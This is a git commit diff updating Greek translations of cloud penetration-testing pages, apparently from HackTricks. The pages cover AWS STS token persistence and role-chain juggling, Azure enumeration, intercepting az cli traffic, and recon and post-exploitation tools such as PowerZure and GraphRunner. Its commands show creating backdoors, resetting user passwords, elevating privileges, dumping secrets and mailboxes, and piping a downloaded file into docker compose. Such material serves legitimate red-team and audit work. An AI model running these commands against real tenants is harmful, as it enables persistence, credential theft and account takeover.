Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-sts-p

This commit is contained in:
Translator
2025-01-21 17:45:19 +00:00
parent a51d74609c
commit c86a193cb8
42 changed files with 756 additions and 739 deletions
@@ -12,14 +12,14 @@
### Assume role token
Οι προσωρινοί τόκεν δεν μπορούν να καταγραφούν, επομένως η διατήρηση ενός ενεργού προσωρινού τόκεν είναι ένας τρόπος για να διατηρηθεί η επιμονή.
Οι προσωρινοί τόκοι δεν μπορούν να καταγραφούν, επομένως η διατήρηση ενός ενεργού προσωρινού τόκου είναι ένας τρόπος για να διατηρηθεί η επιμονή.
<pre class="language-bash"><code class="lang-bash">aws sts get-session-token --duration-seconds 129600
# Με MFA
aws sts get-session-token \
--serial-number &#x3C;mfa-device-name> \
--token-code &#x3C;code-from-token>
--serial-number <mfa-device-name> \
--token-code <code-from-token>
# Το όνομα της συσκευής υλικού είναι συνήθως ο αριθμός από την πίσω πλευρά της συσκευής, όπως GAHT12345678
<strong># Το όνομα της συσκευής SMS είναι το ARN στο AWS, όπως arn:aws:iam::123456789012:sms-mfa/username
@@ -28,7 +28,7 @@ aws sts get-session-token \
### Role Chain Juggling
[**Η αλυσίδα ρόλων είναι μια αναγνωρισμένη δυνατότητα του AWS**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), που συχνά χρησιμοποιείται για τη διατήρηση της κρυφής επιμονής. Περιλαμβάνει την ικανότητα να **υποθέτετε έναν ρόλο που στη συνέχεια υποθέτει έναν άλλο**, ενδεχομένως επιστρέφοντας στον αρχικό ρόλο με **κυκλικό τρόπο**. Κάθε φορά που υποτίθεται ένας ρόλος, το πεδίο λήξης των διαπιστευτηρίων ανανεώνεται. Ως εκ τούτου, εάν δύο ρόλοι είναι ρυθμισμένοι να υποθέτουν ο ένας τον άλλον, αυτή η ρύθμιση επιτρέπει την αιώνια ανανέωση των διαπιστευτηρίων.
[**Η αλυσίδα ρόλων είναι μια αναγνωρισμένη δυνατότητα του AWS**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), που συχνά χρησιμοποιείται για τη διατήρηση της κρυφής επιμονής. Περιλαμβάνει την ικανότητα να **αναλαμβάνετε έναν ρόλο που στη συνέχεια αναλαμβάνει έναν άλλο**, ενδεχομένως επιστρέφοντας στον αρχικό ρόλο με **κυκλικό τρόπο**. Κάθε φορά που αναλαμβάνεται ένας ρόλος, το πεδίο λήξης των διαπιστευτηρίων ανανεώνεται. Ως εκ τούτου, εάν δύο ρόλοι είναι ρυθμισμένοι να αναλαμβάνουν ο ένας τον άλλο, αυτή η ρύθμιση επιτρέπει την αιώνια ανανέωση των διαπιστευτηρίων.
Μπορείτε να χρησιμοποιήσετε αυτό το [**εργαλείο**](https://github.com/hotnops/AWSRoleJuggler/) για να διατηρήσετε την αλυσίδα ρόλων:
```bash
@@ -45,7 +45,7 @@ optional arguments:
<details>
<summary>Κώδικας για την εκτέλεση Role Juggling από το PowerShell</summary>
```powershell
```bash
# PowerShell script to check for role juggling possibilities using AWS CLI
# Check for AWS CLI installation
+7 -229
View File
@@ -92,7 +92,7 @@ az account management-group list #Not allowed by default
{{#endtab }}
{{#tab name="AzureAD" }}
```powershell
```bash
#Get the current session state
Get-AzureADCurrentSessionInfo
#Get details of the current tenant
@@ -101,7 +101,7 @@ Get-AzureADTenantDetail
{{#endtab }}
{{#tab name="Az PowerShell" }}
```powershell
```bash
# Get the information about the current context (Account, Tenant, Subscription etc.)
Get-AzContext
# List all available contexts
@@ -120,13 +120,13 @@ Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com # For current user
{{#endtabs }}
> [!CAUTION]
> Ένα από τα πιο σημαντικά εντολές για την καταμέτρηση του Azure είναι το **`Get-AzResource`** από το Az PowerShell, καθώς σας επιτρέπει να **γνωρίζετε τους πόρους που έχει ο τρέχων χρήστης ορατούς**.
> Ένα από τα πιο σημαντικά εντολές για την καταμέτρηση του Azure είναι **`Get-AzResource`** από το Az PowerShell καθώς σας επιτρέπει να **γνωρίζετε τους πόρους που έχει ο τρέχων χρήστης ορατούς**.
>
> Μπορείτε να αποκτήσετε τις ίδιες πληροφορίες στην **ιστοσελίδα κονσόλας** πηγαίνοντας στο [https://portal.azure.com/#view/HubsExtension/BrowseAll](https://portal.azure.com/#view/HubsExtension/BrowseAll) ή αναζητώντας "Όλοι οι πόροι"
### ENtra ID Enumeration
### Entra ID Enumeration
Από προεπιλογή, οποιοσδήποτε χρήστης θα πρέπει να έχει **αρκετά δικαιώματα για να καταμετρήσει** πράγματα όπως, χρήστες, ομάδες, ρόλους, υπηρεσιακούς εκπροσώπους... (ελέγξτε [default AzureAD permissions](az-basic-information/index.html#default-user-permissions)).\
Από προεπιλογή, οποιοσδήποτε χρήστης θα πρέπει να έχει **αρκετά δικαιώματα για να καταμετρήσει** πράγματα όπως, χρήστες, ομάδες, ρόλους, υπηρεσιακούς εκπροσώπους... (ελέγξτε [προεπιλεγμένα δικαιώματα AzureAD](az-basic-information/index.html#default-user-permissions)).\
Μπορείτε να βρείτε εδώ έναν οδηγό:
{{#ref}}
@@ -134,12 +134,12 @@ az-services/az-azuread.md
{{#endref}}
> [!NOTE]
> Τώρα που **έχετε κάποιες πληροφορίες σχετικά με τα διαπιστευτήριά σας** (και αν είστε red team ελπίζω να **μην έχετε ανιχνευθεί**). Είναι καιρός να καταλάβετε ποιες υπηρεσίες χρησιμοποιούνται στο περιβάλλον.\
> Τώρα που **έχετε κάποιες πληροφορίες σχετικά με τα διαπιστευτήριά σας** (και αν είστε red team ελπίζω να **δεν έχετε ανιχνευθεί**). Είναι καιρός να καταλάβετε ποιες υπηρεσίες χρησιμοποιούνται στο περιβάλλον.\
> Στην επόμενη ενότητα μπορείτε να ελέγξετε μερικούς τρόπους για να **καταμετρήσετε κάποιες κοινές υπηρεσίες.**
## App Service SCM
Kudu console για να συνδεθείτε στο 'container' της App Service.
Kudu console για να συνδεθείτε στο 'container' της Υπηρεσίας Εφαρμογών.
## Webshell
@@ -149,226 +149,4 @@ Kudu console για να συνδεθείτε στο 'container' της App Serv
Το Azure DevOps είναι ξεχωριστό από το Azure. Έχει αποθετήρια, pipelines (yaml ή release), πίνακες, wiki και άλλα. Οι Ομάδες Μεταβλητών χρησιμοποιούνται για να αποθηκεύουν τιμές μεταβλητών και μυστικά.
## Debug | MitM az cli
Χρησιμοποιώντας την παράμετρο **`--debug`** είναι δυνατόν να δείτε όλα τα αιτήματα που στέλνει το εργαλείο **`az`**:
```bash
az account management-group list --output table --debug
```
Για να κάνετε ένα **MitM** στο εργαλείο και να **ελέγξετε όλα τα αιτήματα** που στέλνει χειροκίνητα, μπορείτε να κάνετε:
{{#tabs }}
{{#tab name="Bash" }}
```bash
export ADAL_PYTHON_SSL_NO_VERIFY=1
export AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1
export HTTPS_PROXY="http://127.0.0.1:8080"
export HTTP_PROXY="http://127.0.0.1:8080"
# If this is not enough
# Download the certificate from Burp and convert it into .pem format
# And export the following env variable
openssl x509 -in ~/Downloads/cacert.der -inform DER -out ~/Downloads/cacert.pem -outform PEM
export REQUESTS_CA_BUNDLE=/Users/user/Downloads/cacert.pem
```
{{#endtab }}
{{#tab name="PS" }}
```bash
$env:ADAL_PYTHON_SSL_NO_VERIFY=1
$env:AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1
$env:HTTPS_PROXY="http://127.0.0.1:8080"
$env:HTTP_PROXY="http://127.0.0.1:8080"
```
{{#endtab }}
{{#endtabs }}
## Αυτόματα Εργαλεία Αναγνώρισης
### [**ROADRecon**](https://github.com/dirkjanm/ROADtools)
```powershell
cd ROADTools
pipenv shell
roadrecon auth -u test@corp.onmicrosoft.com -p "Welcome2022!"
roadrecon gather
roadrecon gui
```
### [Monkey365](https://github.com/silverhack/monkey365)
```powershell
Import-Module monkey365
Get-Help Invoke-Monkey365
Get-Help Invoke-Monkey365 -Detailed
Invoke-Monkey365 -IncludeEntraID -ExportTo HTML -Verbose -Debug -InformationAction Continue
Invoke-Monkey365 - Instance Azure -Analysis All -ExportTo HTML
```
### [**Stormspotter**](https://github.com/Azure/Stormspotter)
```powershell
# Start Backend
cd stormspotter\backend\
pipenv shell
python ssbackend.pyz
# Start Front-end
cd stormspotter\frontend\dist\spa\
quasar.cmd serve -p 9091 --history
# Run Stormcollector
cd stormspotter\stormcollector\
pipenv shell
az login -u test@corp.onmicrosoft.com -p Welcome2022!
python stormspotter\stormcollector\sscollector.pyz cli
# This will generate a .zip file to upload in the frontend (127.0.0.1:9091)
```
### [**AzureHound**](https://github.com/BloodHoundAD/AzureHound)
```powershell
# You need to use the Az PowerShell and Azure AD modules:
$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential ("test@corp.onmicrosoft.com", $passwd)
Connect-AzAccount -Credential $creds
Import-Module AzureAD\AzureAD.psd1
Connect-AzureAD -Credential $creds
# Launch AzureHound
. AzureHound\AzureHound.ps1
Invoke-AzureHound -Verbose
# Simple queries
## All Azure Users
MATCH (n:AZUser) return n.name
## All Azure Applications
MATCH (n:AZApp) return n.objectid
## All Azure Devices
MATCH (n:AZDevice) return n.name
## All Azure Groups
MATCH (n:AZGroup) return n.name
## All Azure Key Vaults
MATCH (n:AZKeyVault) return n.name
## All Azure Resource Groups
MATCH (n:AZResourceGroup) return n.name
## All Azure Service Principals
MATCH (n:AZServicePrincipal) return n.objectid
## All Azure Virtual Machines
MATCH (n:AZVM) return n.name
## All Principals with the Contributor role
MATCH p = (n)-[r:AZContributor]->(g) RETURN p
# Advanced queries
## Get Global Admins
MATCH p =(n)-[r:AZGlobalAdmin*1..]->(m) RETURN p
## Owners of Azure Groups
MATCH p = (n)-[r:AZOwns]->(g:AZGroup) RETURN p
## All Azure Users and their Groups
MATCH p=(m:AZUser)-[r:MemberOf]->(n) WHERE NOT m.objectid CONTAINS 'S-1-5' RETURN p
## Privileged Service Principals
MATCH p = (g:AZServicePrincipal)-[r]->(n) RETURN p
## Owners of Azure Applications
MATCH p = (n)-[r:AZOwns]->(g:AZApp) RETURN p
## Paths to VMs
MATCH p = (n)-[r]->(g: AZVM) RETURN p
## Paths to KeyVault
MATCH p = (n)-[r]->(g:AZKeyVault) RETURN p
## Paths to Azure Resource Group
MATCH p = (n)-[r]->(g:AZResourceGroup) RETURN p
## On-Prem users with edges to Azure
MATCH p=(m:User)-[r:AZResetPassword|AZOwns|AZUserAccessAdministrator|AZContributor|AZAddMembers|AZGlobalAdmin|AZVMContributor|AZOwnsAZAvereContributor]->(n) WHERE m.objectid CONTAINS 'S-1-5-21' RETURN p
## All Azure AD Groups that are synchronized with On-Premise AD
MATCH (n:Group) WHERE n.objectid CONTAINS 'S-1-5' AND n.azsyncid IS NOT NULL RETURN n
```
### [Azucar](https://github.com/nccgroup/azucar)
```bash
# You should use an account with at least read-permission on the assets you want to access
git clone https://github.com/nccgroup/azucar.git
PS> Get-ChildItem -Recurse c:\Azucar_V10 | Unblock-File
PS> .\Azucar.ps1 -AuthMode UseCachedCredentials -Verbose -WriteLog -Debug -ExportTo PRINT
PS> .\Azucar.ps1 -ExportTo CSV,JSON,XML,EXCEL -AuthMode Certificate_Credentials -Certificate C:\AzucarTest\server.pfx -ApplicationId 00000000-0000-0000-0000-000000000000 -TenantID 00000000-0000-0000-0000-000000000000
PS> .\Azucar.ps1 -ExportTo CSV,JSON,XML,EXCEL -AuthMode Certificate_Credentials -Certificate C:\AzucarTest\server.pfx -CertFilePassword MySuperP@ssw0rd! -ApplicationId 00000000-0000-0000-0000-000000000000 -TenantID 00000000-0000-0000-0000-000000000000
# resolve the TenantID for an specific username
PS> .\Azucar.ps1 -ResolveTenantUserName user@company.com
```
### [**MicroBurst**](https://github.com/NetSPI/MicroBurst)
```
Import-Module .\MicroBurst.psm1
Import-Module .\Get-AzureDomainInfo.ps1
Get-AzureDomainInfo -folder MicroBurst -Verbose
```
### [**PowerZure**](https://github.com/hausec/PowerZure)
```powershell
Connect-AzAccount
ipmo C:\Path\To\Powerzure.psd1
Get-AzureTarget
# Reader
$ Get-Runbook, Get-AllUsers, Get-Apps, Get-Resources, Get-WebApps, Get-WebAppDetails
# Contributor
$ Execute-Command -OS Windows -VM Win10Test -ResourceGroup Test-RG -Command "whoami"
$ Execute-MSBuild -VM Win10Test -ResourceGroup Test-RG -File "build.xml"
$ Get-AllSecrets # AllAppSecrets, AllKeyVaultContents
$ Get-AvailableVMDisks, Get-VMDisk # Download a virtual machine's disk
# Owner
$ Set-Role -Role Contributor -User test@contoso.com -Resource Win10VMTest
# Administrator
$ Create-Backdoor, Execute-Backdoor
```
### [**GraphRunner**](https://github.com/dafthack/GraphRunner/wiki/Invoke%E2%80%90GraphRunner)
```powershell
#Get-GraphTokens
#A good place to start is to authenticate with the Get-GraphTokens module. This module will launch a device-code login, allowing you to authenticate the session from a browser session. Access and refresh tokens will be written to the global $tokens variable. To use them with other GraphRunner modules use the Tokens flag (Example. Invoke-DumpApps -Tokens $tokens)
Import-Module .\GraphRunner.ps1
Get-GraphTokens
#Invoke-GraphRecon
#This module gathers information about the tenant including the primary contact info, directory sync settings, and user settings such as if users have the ability to create apps, create groups, or consent to apps.
Invoke-GraphRecon -Tokens $tokens -PermissionEnum
#Invoke-DumpCAPS
#A module to dump conditional access policies from a tenant.
Invoke-GraphRecon -Tokens $tokens -PermissionEnum
#Invoke-DumpCAPS
#A module to dump conditional access policies from a tenant.
Invoke-DumpCAPS -Tokens $tokens -ResolveGuids
#Invoke-DumpApps
#This module helps identify malicious app registrations. It will dump a list of Azure app registrations from the tenant including permission scopes and users that have consented to the apps. Additionally, it will list external apps that are not owned by the current tenant or by Microsoft's main app tenant. This is a good way to find third-party external apps that users may have consented to.
Invoke-DumpApps -Tokens $tokens
#Get-AzureADUsers
#Gather the full list of users from the directory.
Get-AzureADUsers -Tokens $tokens -OutFile users.txt
#Get-SecurityGroups
#Create a list of security groups along with their members.
Get-SecurityGroups -AccessToken $tokens.access_token
G#et-UpdatableGroups
#Gets groups that may be able to be modified by the current user
Get-UpdatableGroups -Tokens $tokens
#Get-DynamicGroups
#Finds dynamic groups and displays membership rules
Get-DynamicGroups -Tokens $tokens
#Get-SharePointSiteURLs
#Gets a list of SharePoint site URLs visible to the current user
Get-SharePointSiteURLs -Tokens $tokens
#Invoke-GraphOpenInboxFinder
#This module attempts to locate mailboxes in a tenant that have allowed other users to read them. By providing a userlist the module will attempt to access the inbox of each user and display if it was successful. The access token needs to be scoped to Mail.Read.Shared or Mail.ReadWrite.Shared for this to work.
Invoke-GraphOpenInboxFinder -Tokens $tokens -Userlist users.txt
#Get-TenantID
#This module attempts to gather a tenant ID associated with a domain.
Get-TenantID -Domain
#Invoke-GraphRunner
#Runs Invoke-GraphRecon, Get-AzureADUsers, Get-SecurityGroups, Invoke-DumpCAPS, Invoke-DumpApps, and then uses the default_detectors.json file to search with Invoke-SearchMailbox, Invoke-SearchSharePointAndOneDrive, and Invoke-SearchTeams.
Invoke-GraphRunner -Tokens $tokens
```
{{#include ../../banners/hacktricks-training.md}}
@@ -103,11 +103,11 @@ $env:HTTP_PROXY="http://127.0.0.1:8080"
```bash
Get-AzResourceGroup -Debug
```
Για να κάνετε **MitM** στο εργαλείο και να **ελέγξετε όλα τα αιτήματα** που στέλνει χειροκίνητα, μπορείτε να ρυθμίσετε τις μεταβλητές περιβάλλοντος `HTTPS_PROXY` και `HTTP_PROXY` σύμφωνα με τα [**docs**](https://learn.microsoft.com/en-us/powershell/azure/az-powershell-proxy).
Για να κάνετε **MitM** στο εργαλείο και να **ελέγξετε όλα τα αιτήματα** που στέλνει χειροκίνητα, μπορείτε να ορίσετε τις μεταβλητές περιβάλλοντος `HTTPS_PROXY` και `HTTP_PROXY` σύμφωνα με τα [**docs**](https://learn.microsoft.com/en-us/powershell/azure/az-powershell-proxy).
### Microsoft Graph PowerShell
Το Microsoft Graph PowerShell είναι ένα SDK πολλαπλών πλατφορμών που επιτρέπει την πρόσβαση σε όλα τα Microsoft Graph APIs, συμπεριλαμβανομένων υπηρεσιών όπως το SharePoint, το Exchange και το Outlook, χρησιμοποιώντας ένα μόνο endpoint. Υποστηρίζει PowerShell 7+, σύγχρονη αυθεντικοποίηση μέσω MSAL, εξωτερικές ταυτότητες και προηγμένα ερωτήματα. Με έμφαση στην πρόσβαση με ελάχιστα δικαιώματα, διασφαλίζει ασφαλείς λειτουργίες και λαμβάνει τακτικές ενημερώσεις για να ευθυγραμμίζεται με τα τελευταία χαρακτηριστικά του Microsoft Graph API.
Το Microsoft Graph PowerShell είναι ένα SDK διαλειτουργικότητας που επιτρέπει την πρόσβαση σε όλα τα Microsoft Graph APIs, συμπεριλαμβανομένων υπηρεσιών όπως το SharePoint, το Exchange και το Outlook, χρησιμοποιώντας ένα μόνο endpoint. Υποστηρίζει PowerShell 7+, σύγχρονη αυθεντικοποίηση μέσω MSAL, εξωτερικές ταυτότητες και προηγμένα ερωτήματα. Με έμφαση στην πρόσβαση με ελάχιστα δικαιώματα, διασφαλίζει ασφαλείς λειτουργίες και λαμβάνει τακτικές ενημερώσεις για να ευθυγραμμίζεται με τις τελευταίες δυνατότητες του Microsoft Graph API.
Ακολουθήστε αυτόν τον σύνδεσμο για τις [**οδηγίες εγκατάστασης**](https://learn.microsoft.com/en-us/powershell/microsoftgraph/installation).
@@ -128,4 +128,243 @@ Get-MgUser -Debug
Ακολουθήστε αυτόν τον σύνδεσμο για τις [**οδηγίες εγκατάστασης**](https://www.powershellgallery.com/packages/AzureAD).
## Automated Recon & Compliance Tools
### [turbot azure plugins](https://github.com/orgs/turbot/repositories?q=mod-azure)
Το Turbot με το steampipe και powerpipe επιτρέπει τη συλλογή πληροφοριών από το Azure και το Entra ID και την εκτέλεση ελέγχων συμμόρφωσης και την εύρεση κακών ρυθμίσεων. Τα πιο συνιστώμενα Azure modules που πρέπει να εκτελούνται είναι:
- [https://github.com/turbot/steampipe-mod-azure-compliance](https://github.com/turbot/steampipe-mod-azure-compliance)
- [https://github.com/turbot/steampipe-mod-azure-insights](https://github.com/turbot/steampipe-mod-azure-insights)
- [https://github.com/turbot/steampipe-mod-azuread-insights](https://github.com/turbot/steampipe-mod-azuread-insights)
```bash
# Install
brew install turbot/tap/powerpipe
brew install turbot/tap/steampipe
steampipe plugin install azure
steampipe plugin install azuread
# Config creds via env vars or az cli default creds will be used
export AZURE_ENVIRONMENT="AZUREPUBLICCLOUD"
export AZURE_TENANT_ID="<tenant-id>"
export AZURE_SUBSCRIPTION_ID="<subscription-id>"
export AZURE_CLIENT_ID="<client-id>"
export AZURE_CLIENT_SECRET="<secret>"
# Run steampipe-mod-azure-insights
cd /tmp
mkdir dashboards
cd dashboards
powerpipe mod init
powerpipe mod install github.com/turbot/steampipe-mod-azure-insights
steampipe service start
powerpipe server
# Go to http://localhost:9033 in a browser
```
### [Prowler](https://github.com/prowler-cloud/prowler)
Το Prowler είναι ένα εργαλείο ανοιχτού κώδικα για την εκτέλεση αξιολογήσεων, ελέγχων, αντίκτυπου περιστατικών, συνεχούς παρακολούθησης, σκληραγώγησης και ετοιμότητας για εγκληματολογική ανάλυση σχετικά με τις καλύτερες πρακτικές ασφάλειας για AWS, Azure, Google Cloud και Kubernetes.
Βασικά, θα μας επιτρέψει να εκτελέσουμε εκατοντάδες ελέγχους σε ένα περιβάλλον Azure για να βρούμε παραμορφώσεις ασφάλειας και να συγκεντρώσουμε τα αποτελέσματα σε json (και άλλες μορφές κειμένου) ή να τα ελέγξουμε στο διαδίκτυο.
```bash
# Create a application with Reader role and set the tenant ID, client ID and secret in prowler so it access the app
# Launch web with docker-compose
export DOCKER_DEFAULT_PLATFORM=linux/amd64
curl -LO https://raw.githubusercontent.com/prowler-cloud/prowler/refs/heads/master/docker-compose.yml
curl -LO https://raw.githubusercontent.com/prowler-cloud/prowler/refs/heads/master/.env
## If using an old docker-compose version, change the "env_file" params to: env_file: ".env"
docker compose up -d
# Access the web and configure the access to run a scan from it
# Prowler cli
python3 -m pip install prowler --break-system-packages
docker run --rm toniblyx/prowler:v4-latest azure --list-checks
docker run --rm toniblyx/prowler:v4-latest azure --list-services
docker run --rm toniblyx/prowler:v4-latest azure --list-compliance
docker run --rm -e "AZURE_CLIENT_ID=<client-id>" -e "AZURE_TENANT_ID=<tenant-id>" -e "AZURE_CLIENT_SECRET=<secret>" toniblyx/prowler:v4-latest azure --sp-env-auth
## It also support other authentication types, check: prowler azure --help
```
### [Monkey365](https://github.com/silverhack/monkey365)
Επιτρέπει την αυτόματη εκτέλεση ελέγχων ασφαλείας για τις συνδρομές Azure και το Microsoft Entra ID.
Οι αναφορές HTML αποθηκεύονται στον φάκελο `./monkey-reports` μέσα στον φάκελο του αποθετηρίου github.
```bash
git clone https://github.com/silverhack/monkey365
Get-ChildItem -Recurse monkey365 | Unblock-File
cd monkey365
Import-Module ./monkey365
mkdir /tmp/monkey365-scan
cd /tmp/monkey365-scan
Get-Help Invoke-Monkey365
Get-Help Invoke-Monkey365 -Detailed
# Scan with user creds (browser will be run)
Invoke-Monkey365 -TenantId <tenant-id> -Instance Azure -Collect All -ExportTo HTML
# Scan with App creds
$SecureClientSecret = ConvertTo-SecureString "<secret>" -AsPlainText -Force
Invoke-Monkey365 -TenantId <tenant-id> -ClientId <client-id> -ClientSecret $SecureClientSecret -Instance Azure -Collect All -ExportTo HTML
```
### [ScoutSuite](https://github.com/nccgroup/ScoutSuite)
Το Scout Suite συγκεντρώνει δεδομένα διαμόρφωσης για χειροκίνητη επιθεώρηση και επισημαίνει περιοχές κινδύνου. Είναι ένα εργαλείο ελέγχου ασφαλείας πολλαπλών σύννεφων, το οποίο επιτρέπει την αξιολόγηση της ασφάλειας των περιβαλλόντων σύννεφου.
```bash
virtualenv -p python3 venv
source venv/bin/activate
pip install scoutsuite
scout --help
# Use --cli flag to use az cli credentials
# Use --user-account to have scout prompt for user credentials
# Use --user-account-browser to launch a browser to login
# Use --service-principal to have scout prompt for app credentials
python scout.py azure --cli
```
### [Azure-MG-Sub-Governance-Reporting](https://github.com/JulianHayward/Azure-MG-Sub-Governance-Reporting)
Είναι ένα script PowerShell που σας βοηθά να **οπτικοποιήσετε όλους τους πόρους και τις άδειες μέσα σε μια Ομάδα Διαχείρισης και το tenant Entra ID** και να βρείτε παραλείψεις ασφαλείας.
Λειτουργεί χρησιμοποιώντας το module Az PowerShell, οπότε οποιαδήποτε αυθεντικοποίηση υποστηρίζεται από αυτό το εργαλείο υποστηρίζεται από το εργαλείο.
```bash
import-module Az
.\AzGovVizParallel.ps1 -ManagementGroupId <management-group-id> [-SubscriptionIdWhitelist <subscription-id>]
```
## Automated Post-Exploitation tools
### [**ROADRecon**](https://github.com/dirkjanm/ROADtools)
Η καταμέτρηση του ROADRecon προσφέρει πληροφορίες σχετικά με τη διαμόρφωση του Entra ID, όπως χρήστες, ομάδες, ρόλοι, πολιτικές πρόσβασης με όρους...
```bash
cd ROADTools
pipenv shell
# Login with user creds
roadrecon auth -u test@corp.onmicrosoft.com -p "Welcome2022!"
# Login with app creds
roadrecon auth --as-app --client "<client-id>" --password "<secret>" --tenant "<tenant-id>"
roadrecon gather
roadrecon gui
```
### [**AzureHound**](https://github.com/BloodHoundAD/AzureHound)
```bash
# Launch AzureHound
## Login with app secret
azurehound -a "<client-id>" -s "<secret>" --tenant "<tenant-id>" list -o ./output.json
## Login with user creds
azurehound -u "<user-email>" -p "<password>" --tenant "<tenant-id>" list -o ./output.json
```
Λανσάρετε το **BloodHound** web με **`curl -L https://ghst.ly/getbhce | docker compose -f - up`** και εισάγετε το αρχείο `output.json`.
Στη συνέχεια, στην καρτέλα **EXPLORE**, στην ενότητα **CYPHER** μπορείτε να δείτε ένα εικονίδιο **φακέλου** που περιέχει προ-κατασκευασμένα ερωτήματα.
### [**MicroBurst**](https://github.com/NetSPI/MicroBurst)
Το MicroBurst περιλαμβάνει λειτουργίες και σενάρια που υποστηρίζουν την ανακάλυψη Υπηρεσιών Azure, τον έλεγχο αδύνατης διαμόρφωσης και ενέργειες μετά την εκμετάλλευση όπως η εξαγωγή διαπιστευτηρίων. Σκοπός του είναι να χρησιμοποιείται κατά τη διάρκεια δοκιμών διείσδυσης όπου χρησιμοποιείται το Azure.
```bash
Import-Module .\MicroBurst.psm1
Import-Module .\Get-AzureDomainInfo.ps1
Get-AzureDomainInfo -folder MicroBurst -Verbose
```
### [**PowerZure**](https://github.com/hausec/PowerZure)
Το PowerZure δημιουργήθηκε από την ανάγκη για ένα πλαίσιο που μπορεί να εκτελεί τόσο αναγνώριση όσο και εκμετάλλευση του Azure, EntraID και των σχετικών πόρων.
Χρησιμοποιεί το **Az PowerShell** module, οπότε οποιαδήποτε αυθεντικοποίηση υποστηρίζεται από αυτό το εργαλείο υποστηρίζεται από το εργαλείο.
```bash
# Login
Import-Module Az
Connect-AzAccount
# Clone and import PowerZure
git clone https://github.com/hausec/PowerZure
cd PowerZure
ipmo ./Powerzure.psd1
Invoke-Powerzure -h # Check all the options
# Info Gathering (read)
Get-AzureCurrentUser # Get current user
Get-AzureTarget # What can you access to
Get-AzureUser -All # Get all users
Get-AzureSQLDB -All # Get all SQL DBs
Get-AzureAppOwner # Owners of apps in Entra
Show-AzureStorageContent -All # List containers, shared and tables
Show-AzureKeyVaultContent -All # List all contents in key vaults
# Operational (write)
Set-AzureUserPassword -Password <password> -Username <username> # Change password
Set-AzureElevatedPrivileges # Get permissions from Global Administrator in EntraID to User Access Administrator in Azure RBAC.
New-AzureBackdoor -Username <username> -Password <password>
Invoke-AzureRunCommand -Command <command> -VMName <vmname>
[...]
```
### [**GraphRunner**](https://github.com/dafthack/GraphRunner/wiki/Invoke%E2%80%90GraphRunner)
Το GraphRunner είναι ένα εργαλείο μετά την εκμετάλλευση για αλληλεπίδραση με το Microsoft Graph API. Παρέχει διάφορα εργαλεία για την εκτέλεση αναγνώρισης, επιμονής και λεηλασίας δεδομένων από έναν λογαριασμό Microsoft Entra ID (Azure AD).
```bash
#A good place to start is to authenticate with the Get-GraphTokens module. This module will launch a device-code login, allowing you to authenticate the session from a browser session. Access and refresh tokens will be written to the global $tokens variable. To use them with other GraphRunner modules use the Tokens flag (Example. Invoke-DumpApps -Tokens $tokens)
Import-Module .\GraphRunner.ps1
Get-GraphTokens
#This module gathers information about the tenant including the primary contact info, directory sync settings, and user settings such as if users have the ability to create apps, create groups, or consent to apps.
Invoke-GraphRecon -Tokens $tokens -PermissionEnum
#A module to dump conditional access policies from a tenant.
Invoke-GraphRecon -Tokens $tokens -PermissionEnum
#A module to dump conditional access policies from a tenant.
Invoke-DumpCAPS -Tokens $tokens -ResolveGuids
#This module helps identify malicious app registrations. It will dump a list of Azure app registrations from the tenant including permission scopes and users that have consented to the apps. Additionally, it will list external apps that are not owned by the current tenant or by Microsoft's main app tenant. This is a good way to find third-party external apps that users may have consented to.
Invoke-DumpApps -Tokens $tokens
#Gather the full list of users from the directory.
Get-AzureADUsers -Tokens $tokens -OutFile users.txt
#Create a list of security groups along with their members.
Get-SecurityGroups -AccessToken $tokens.access_token
#Gets groups that may be able to be modified by the current user
Get-UpdatableGroups -Tokens $tokens
#Finds dynamic groups and displays membership rules
Get-DynamicGroups -Tokens $tokens
#Gets a list of SharePoint site URLs visible to the current user
Get-SharePointSiteURLs -Tokens $tokens
#This module attempts to locate mailboxes in a tenant that have allowed other users to read them. By providing a userlist the module will attempt to access the inbox of each user and display if it was successful. The access token needs to be scoped to Mail.Read.Shared or Mail.ReadWrite.Shared for this to work.
Invoke-GraphOpenInboxFinder -Tokens $tokens -Userlist users.txt
#This module attempts to gather a tenant ID associated with a domain.
Get-TenantID -Domain
#Runs Invoke-GraphRecon, Get-AzureADUsers, Get-SecurityGroups, Invoke-DumpCAPS, Invoke-DumpApps, and then uses the default_detectors.json file to search with Invoke-SearchMailbox, Invoke-SearchSharePointAndOneDrive, and Invoke-SearchTeams.
Invoke-GraphRunner -Tokens $tokens
```
### [Stormspotter](https://github.com/Azure/Stormspotter)
Το Stormspotter δημιουργεί ένα “attack graph” των πόρων σε μια συνδρομή Azure. Επιτρέπει στις κόκκινες ομάδες και τους pentesters να οπτικοποιούν την επιφάνεια επίθεσης και τις ευκαιρίες pivot εντός ενός ενοικιαστή, και ενισχύει τους υπερασπιστές σας ώστε να προσανατολίζονται και να προτεραιοποιούν γρήγορα το έργο αντίκτυπου.
**Δυστυχώς, φαίνεται ότι δεν συντηρείται**.
```bash
# Start Backend
cd stormspotter\backend\
pipenv shell
python ssbackend.pyz
# Start Front-end
cd stormspotter\frontend\dist\spa\
quasar.cmd serve -p 9091 --history
# Run Stormcollector
cd stormspotter\stormcollector\
pipenv shell
az login -u test@corp.onmicrosoft.com -p Welcome2022!
python stormspotter\stormcollector\sscollector.pyz cli
# This will generate a .zip file to upload in the frontend (127.0.0.1:9091)
```
{{#include ../../banners/hacktricks-training.md}}
@@ -2,19 +2,19 @@
{{#include ../../../banners/hacktricks-training.md}}
### Αναγνώριση των Προβλημάτων
### Αναγνώριση των Θεμάτων
Το Azure Arc επιτρέπει την ενσωμάτωση νέων εσωτερικών διακομιστών (διακομιστές που ανήκουν σε τομέα) στο Azure Arc χρησιμοποιώντας τη μέθοδο Group Policy Object. Για να διευκολυνθεί αυτό, η Microsoft παρέχει ένα εργαλείο ανάπτυξης απαραίτητο για την έναρξη της διαδικασίας onboarding. Μέσα στο αρχείο ArcEnableServerGroupPolicy.zip, μπορούν να βρεθούν τα εξής scripts: DeployGPO.ps1, EnableAzureArc.ps1 και AzureArcDeployment.psm1.
